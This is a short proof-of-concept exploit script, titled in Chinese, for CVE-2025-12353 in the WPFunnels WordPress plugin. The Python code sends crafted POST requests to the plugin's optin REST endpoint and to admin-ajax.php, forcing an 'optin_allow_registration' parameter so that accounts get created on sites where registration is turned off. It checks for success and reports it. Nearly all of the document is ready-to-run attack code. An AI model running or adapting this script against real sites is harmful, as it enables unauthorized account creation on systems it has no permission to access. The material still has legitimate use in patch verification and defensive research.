CVE-2025-12353 WordPress WPFunnels插件未授权用户注册漏洞

import requests import urllib.parse # CVE-2025-12353 PoC - WPFunnels Unauthorized User Registration # Target: WordPress site with WPFunnels plugin <= 3.6.2 target_url = "http://target-wordpress-site.com/" # Step 1: Discover the funnel/optin form endpoint # Usually found in the funnel page or checkout flow funnel_endpoint = target_url + "wp-json/wpfunnels/v1/optin/submit" # Step 2: Prepare malicious registration payload # Bypass the site's user registration setting by controlling optin_allow_registration parameter payload = { "email": "[email protected]", "first_name": "Attacker", "last_name": "Test", "optin_allow_registration": "true", # Key parameter that bypasses site settings "funnel_id": "1", "step_id": "1" } # Step 3: Send the malicious request headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post(funnel_endpoint, data=payload, headers=headers, timeout=10) # Check if user was registered successfully if response.status_code == 200: result = response.json() if result.get('success') or 'user' in str(result).lower(): print("[+] SUCCESS: User account created despite registration being disabled!") print(f"[+] Response: {result}") else: print("[-] Request sent but registration may have failed") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative: Direct registration form bypass # If the optin form is embedded in a page alt_payload = { "action": "wpfnl_optin_submit", "optin_allow_registration": "1", "email": "[email protected]", "wpfunnels_optin_data": "1" } print("\n[*] Testing alternative endpoint...") alt_response = requests.post(target_url + "wp-admin/admin-ajax.php", data=alt_payload, headers=headers, timeout=10) print(f"[*] Alternative response status: {alt_response.status_code}")